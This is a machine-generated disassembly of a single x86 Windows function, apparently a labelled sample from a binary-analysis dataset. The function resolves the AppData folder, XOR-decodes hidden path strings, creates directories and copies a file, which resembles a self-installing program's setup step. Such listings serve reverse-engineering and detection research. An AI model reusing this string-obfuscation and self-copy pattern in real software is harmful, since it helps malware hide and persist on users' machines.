Function at 0x4100a0
Capabilities:
Copy file
Create directory
Encode data using xor
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x506b56
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x1d8
push ebx
push esi
mov ebx, ecx
mov dword [ebp - 0x10], 0
push edi
mov dword [ebp - 0x44], ebx
mov dword [ebp - 4], 1
lea eax, [ebp - 0x1e4]
push 0x104
push 0
push eax
call fcn.004e1ab0
add esp, 0xc
lea eax, [ebp - 0x1e4]
push eax
push 0
push 0
push 0x1a
push 0
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
xor eax, eax
mov word [ebp - 0x47], 0x5c
lea ecx, [ebp - 0x47]
mov byte [ebp - 0x45], 0
mov dword [ebp - 0x40], eax
lea edx, [ecx + 1]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410123
sub ecx, edx
lea eax, [ebp - 0x47]
push ecx
push eax
lea ecx, [ebp - 0x40]
call fcn.00402ea0
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1e4]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410146
sub ecx, edx
lea eax, [ebp - 0x1e4]
push ecx
push eax
push ecx
lea ecx, [ebp - 0x40]
call fcn.00472090
mov edx, eax
mov dword [ebp - 0x10], 1
xor eax, eax
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov ecx, dword [edx]
mov dword [ebp - 0x28], ecx
lea ecx, [ebp - 0xac]
mov eax, dword [edx + 4]
mov dword [ebp - 0x24], eax
mov eax, dword [edx + 8]
mov dword [ebp - 0x20], eax
mov eax, dword [edx + 0xc]
mov dword [ebp - 0x1c], eax
mov eax, dword [edx + 0x10]
mov dword [ebp - 0x18], eax
mov eax, dword [edx + 0x14]
mov dword [ebp - 0x14], eax
lea eax, [ebp + 8]
mov dword [edx + 0x10], 0
mov dword [edx + 0x14], 0xf
mov byte [edx], 0
lea edx, [ebp - 0x28]
push eax
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 4
mov edi, 1
mov dword [ebp - 0x10], edi
and edi, 0xfffffffe
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x410210
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410206
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109c8
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0xf
mov byte [ebp - 0x28], 0
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x41025a
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410250
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109c8
push ecx
push edx
call fcn.004dfaf3
add esp, 8
cmp dword [ebp - 0x98], 0xf
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
jbe 0x410281
mov ecx, dword [ebp - 0xac]
call fcn.0040b340
test al, al
je 0x41098d
mov dword [ebp - 0x1d], 0x86889fbb
xor ecx, ecx
mov dword [ebp - 0x19], 0xc0998987
mov dword [ebp - 0x15], 0x85918b
mov byte [ebp - 0x11], 1
lea esp, [esp]
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1d], al
inc ecx
cmp ecx, 0xb
jb 0x4102b0
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1d]
mov dword [ebp - 0x48], esp
mov ecx, esp
lea edx, [ebp - 0xac]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 7
mov byte [ebp - 4], 6
call fcn.0040b2b0
add esp, 0x18
mov esi, closesocket
test al, al
je 0x4105be
mov word [ebp - 0x4b], 0x5c
mov byte [ebp - 0x49], 0
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x4b]
lea edx, [ecx + 1]
lea ecx, [ecx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410310
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x4109cd
cmp dword [ebp + 0x34], 0xf
lea eax, [ebp + 0x20]
jbe 0x410334
mov eax, dword [ebp + 0x20]
push ecx
lea ecx, [ebp - 0x4b]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0xe0]
call fcn.00470ea0
lea eax, [ebp + 8]
or edi, 8
push eax
lea edx, [ebp - 0xe0]
mov dword [ebp - 0x10], edi
lea ecx, [ebp - 0x28]
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 9
and edi, 0xfffffff7
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xe0]
call fcn.00402c80
cmp dword [ebp - 0x14], 0xf
lea ecx, [ebp - 0x28]
jbe 0x41038a
mov ecx, dword [ebp - 0x28]
call fcn.0040b340
test al, al
jne 0x4103b0
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
jbe 0x41039f
mov eax, dword [ebp - 0x28]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x4105b2
mov dword [ebp - 0x6f], 0x86889fbb
xor ecx, ecx
mov dword [ebp - 0x6b], 0xc0998987
mov dword [ebp - 0x67], 0x85918b
mov byte [ebp - 0x63], 1
jmp 0x4103d0
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x6f], al
inc ecx
cmp ecx, 0xb
jb 0x4103d0
mov byte [ebp - 0x63], 0
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x6f]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4103f0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x18]
sub eax, edx
cmp eax, ecx
jb 0x4109cd
cmp dword [ebp - 0x14], 0xf
lea eax, [ebp - 0x28]
jbe 0x410414
mov eax, dword [ebp - 0x28]
push ecx
lea ecx, [ebp - 0x6f]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0xc4]
call fcn.00470ea0
or edi, 0x20
lea esi, [ebp - 0xc4]
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0xb0], 0xf
jbe 0x410445
mov esi, dword [ebp - 0xc4]
mov dword [ebp - 0x7c], 0x86889fbb
xor ecx, ecx
mov dword [ebp - 0x78], 0xc0998987
mov dword [ebp - 0x74], 0x85918b
mov byte [ebp - 0x70], 1
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 0xb
jb 0x410460
mov byte [ebp - 0x70], 0
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x7c]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410480
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x9c]
sub eax, edx
cmp eax, ecx
jb 0x4109cd
cmp dword [ebp - 0x98], 0xf
lea eax, [ebp - 0xac]
jbe 0x4104b3
mov eax, dword [ebp - 0xac]
push ecx
lea ecx, [ebp - 0x7c]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
or edi, 0x40
lea eax, [ebp - 0x40]
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0x2c], 0xf
jbe 0x4104d8
mov eax, dword [ebp - 0x40]
push 0
push esi
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and edi, 0xffffffbf
mov esi, eax
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x40]
call fcn.00402c80
and edi, 0xffffffdf
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0xc4]
call fcn.00402c80
test esi, esi
je 0x410517
mov byte [ebx], 1
jmp 0x4105ad
cmp dword [ebp - 0x14], 0xf
lea edx, [ebp - 0x28]
jbe 0x410523
mov edx, dword [ebp - 0x28]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410540
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.00402ea0
mov byte [ebp - 4], 0xd
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040b4a0
add esp, 4
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x41059b
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410591
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109d2
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov esi, closesocket
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x28]
call fcn.00402c80
mov dword [ebp - 0x58], 0x86889fbb
xor ecx, ecx
mov dword [ebp - 0x54], 0x9d998987
mov word [ebp - 0x50], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x58], al
inc ecx
cmp ecx, 8
jb 0x4105d4
mov byte [ebp - 0x4f], 0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x58]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4105f0
sub ecx, edx
mov eax, esi
mov edx, dword [ebp - 0x9c]
sub eax, edx
cmp eax, ecx
jb 0x4109d7
cmp dword [ebp - 0x98], 0xf
lea eax, [ebp - 0xac]
jbe 0x410620
mov eax, dword [ebp - 0xac]
push ecx
lea ecx, [ebp - 0x58]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0xc4]
call fcn.00470ea0
or edi, 4
lea ecx, [ebp - 0xc4]
mov dword [ebp - 0x10], edi
cmp dword [ebp - 0xb0], 0xf
jbe 0x410651
mov ecx, dword [ebp - 0xc4]
call fcn.0040b340
and edi, 0xfffffffb
mov bl, al
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xc4]
call fcn.00402c80
test bl, bl
je 0x41098d
mov word [ebp - 0x4e], 0x5c
mov byte [ebp - 0x4c], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x4e]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410690
sub ecx, edx
mov eax, esi
mov edx, dword [ebp + 0x30]
sub eax, edx
cmp eax, ecx
jb 0x4109dc
cmp dword [ebp + 0x34], 0xf
lea eax, [ebp + 0x20]
jbe 0x4106b4
mov eax, dword [ebp + 0x20]
push ecx
lea ecx, [ebp - 0x4e]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0xe0]
call fcn.00470ea0
lea eax, [ebp + 8]
or edi, 0x10
push eax
lea edx, [ebp - 0xe0]
mov dword [ebp - 0x10], edi
lea ecx, [ebp - 0x94]
call fcn.0046d2f0
add esp, 4
mov byte [ebp - 4], 0x10
and edi, 0xffffffef
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0xe0]
call fcn.00402c80
cmp dword [ebp - 0x80], 0xf
lea ecx, [ebp - 0x94]
jbe 0x410713
mov ecx, dword [ebp - 0x94]
call fcn.0040b340
test al, al
jne 0x410743
cmp dword [ebp - 0x80], 0xf
lea eax, [ebp - 0x94]
jbe 0x41072e
mov eax, dword [ebp - 0x94]
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push 0
push eax
call ebx
test eax, eax
je 0x41097e
jmp 0x410749
mov ebx, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x62], 0x86889fbb
xor ecx, ecx
mov dword [ebp - 0x5e], 0x9d998987
mov word [ebp - 0x5a], 0x100
nop
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x62], al
inc ecx
cmp ecx, 8
jb 0x410760
mov byte [ebp - 0x59], 0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0x62]
lea edx, [ecx + 1]
lea esp, [esp]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410780
sub ecx, edx
mov edx, dword [ebp - 0x84]
sub esi, edx
cmp esi, ecx
jb 0x4109e1
cmp dword [ebp - 0x80], 0xf
lea eax, [ebp - 0x94]
jbe 0x4107ab
mov eax, dword [ebp - 0x94]
push ecx
lea ecx, [ebp - 0x62]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x44]
lea ecx, [ebp - 0x40]
call fcn.00470ea0
or edi, 0x80
lea ecx, [ebp - 0x94]
mov dword [ebp - 0x10], edi
call fcn.00402c80
mov eax, dword [ebp - 0x40]
and edi, 0xffffff7f
mov dword [ebp - 0x94], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x8c], eax
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x88], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x84], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov dword [ebp - 0x10], edi
mov byte [ebp - 4], 0x11
lea ecx, [ebp - 0x40]
call fcn.00402c80
cmp dword [ebp - 0x80], 0xf
lea ecx, [ebp - 0x94]
jbe 0x41083e
mov ecx, dword [ebp - 0x94]
call fcn.0040b340
test al, al
jne 0x410866
cmp dword [ebp - 0x80], 0xf
lea eax, [ebp - 0x94]
jbe 0x410859
mov eax, dword [ebp - 0x94]
push 0
push eax
call ebx
test eax, eax
je 0x41097e
sub esp, 0x18
lea eax, [ebp - 0x94]
mov ecx, esp
mov dword [ebp - 0x48], esp
xor bl, bl
push eax
call fcn.00468b20
mov byte [ebp - 4], 0x13
xor ecx, ecx
mov dword [ebp - 0x1a], 0x86889fbb
mov dword [ebp - 0x16], 0x9d998987
mov word [ebp - 0x12], 0x100
mov al, cl
sub al, 0x19
xor byte [ebp + ecx - 0x1a], al
inc ecx
cmp ecx, 8
jb 0x410896
sub esp, 0x18
mov byte [ebp - 0x11], 0
lea eax, [ebp - 0x1a]
mov dword [ebp - 0xc8], esp
mov ecx, esp
lea edx, [ebp - 0xac]
push eax
call fcn.0046d070
add esp, 4
mov byte [ebp - 4], 0x14
mov byte [ebp - 4], 0x11
mov cl, bl
call fcn.0040ef10
add esp, 0x30
test eax, eax
jne 0x4108e6
mov eax, dword [ebp - 0x44]
mov byte [eax], 1
jmp 0x41097e
cmp dword [ebp - 0x80], 0xf
lea edx, [ebp - 0x94]
jbe 0x4108f8
mov edx, dword [ebp - 0x94]
xor eax, eax
mov ecx, edx
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x34], eax
lea esi, [ecx + 1]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x410911
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x40]
call fcn.00402ea0
mov byte [ebp - 4], 0x15
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040b4a0
add esp, 4
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x2c]
cmp ecx, 0xf
jbe 0x41096c
mov edx, dword [ebp - 0x40]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x410962
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4109e6
push ecx
push edx
call fcn.004dfaf3
add esp, 8
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0xf
mov byte [ebp - 0x40], 0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x94]
call fcn.00402c80
mov byte [ebp - 4], 1
lea ecx, [ebp - 0xac]
call fcn.00402c80
mov byte [ebp - 4], 0
lea ecx, [ebp + 8]
call fcn.00402c80
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 0x20]
call fcn.00402c80
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.004e4d70
call fcn.004025a0
call fcn.004e4d70
call fcn.004025a0
call fcn.004025a0
call fcn.004025a0
call fcn.004e4d70
int3